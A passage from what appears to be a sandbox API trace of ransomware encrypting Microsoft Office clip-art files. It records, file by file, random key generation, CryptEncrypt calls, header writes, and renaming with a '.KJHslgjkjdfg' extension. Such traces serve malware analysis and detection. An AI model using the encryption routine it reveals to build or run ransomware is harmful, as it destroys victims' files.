(hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.880] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbd8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbd8, lpOverlapped=0x0) returned 1 [0185.880] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0) returned 1 [0185.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.881] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbe0, lpOverlapped=0x0) returned 1 [0185.881] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.881] SetEndOfFile (hFile=0x114) returned 1 [0185.884] GetProcessHeap () returned 0x2a0000 [0185.884] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.884] GetProcessHeap () returned 0x2a0000 [0185.884] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.kjhslgjkjdfg")) returned 1 [0185.902] CloseHandle (hObject=0x114) returned 1 [0185.902] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0185.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.903] GetProcessHeap () returned 0x2a0000 [0185.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.903] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.906] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.906] GetProcessHeap () returned 0x2a0000 [0185.906] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.906] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.906] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.906] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.906] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.906] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.907] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.907] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.907] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.907] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x948, lpOverlapped=0x0) returned 1 [0185.907] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x950, dwBufLen=0x950 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x950) returned 1 [0185.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.907] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x950, lpOverlapped=0x0) returned 1 [0185.907] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.907] SetEndOfFile (hFile=0x114) returned 1 [0185.910] GetProcessHeap () returned 0x2a0000 [0185.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.910] GetProcessHeap () returned 0x2a0000 [0185.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.kjhslgjkjdfg")) returned 1 [0185.912] CloseHandle (hObject=0x114) returned 1 [0185.912] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1 [0185.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.913] GetProcessHeap () returned 0x2a0000 [0185.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.913] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.916] GetProcessHeap () returned 0x2a0000 [0185.916] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.916] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.916] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.916] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.916] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.916] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.916] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.917] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.917] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.917] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc84, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc84, lpOverlapped=0x0) returned 1 [0185.917] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc90, dwBufLen=0xc90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc90) returned 1 [0185.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.917] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc90, lpOverlapped=0x0) returned 1 [0185.917] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.917] SetEndOfFile (hFile=0x114) returned 1 [0185.920] GetProcessHeap () returned 0x2a0000 [0185.920] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.920] GetProcessHeap () returned 0x2a0000 [0185.920] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.kjhslgjkjdfg")) returned 1 [0185.922] CloseHandle (hObject=0x114) returned 1 [0185.922] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1 [0185.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.923] GetProcessHeap () returned 0x2a0000 [0185.923] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.923] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.927] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.927] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.927] GetProcessHeap () returned 0x2a0000 [0185.927] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.927] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.927] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.928] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.928] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.928] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.928] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.928] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.928] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb2c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb2c, lpOverlapped=0x0) returned 1 [0185.928] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb30, dwBufLen=0xb30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb30) returned 1 [0185.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.928] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb30, lpOverlapped=0x0) returned 1 [0185.929] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.929] SetEndOfFile (hFile=0x114) returned 1 [0185.931] GetProcessHeap () returned 0x2a0000 [0185.931] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.931] GetProcessHeap () returned 0x2a0000 [0185.932] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.kjhslgjkjdfg")) returned 1 [0185.934] CloseHandle (hObject=0x114) returned 1 [0185.934] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1 [0185.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.935] GetProcessHeap () returned 0x2a0000 [0185.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.935] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.938] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.938] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.938] GetProcessHeap () returned 0x2a0000 [0185.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.938] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.938] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.938] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.939] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.939] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.939] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe64, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe64, lpOverlapped=0x0) returned 1 [0185.939] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70, dwBufLen=0xe70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70) returned 1 [0185.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.939] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe70, lpOverlapped=0x0) returned 1 [0185.939] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.939] SetEndOfFile (hFile=0x114) returned 1 [0185.942] GetProcessHeap () returned 0x2a0000 [0185.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 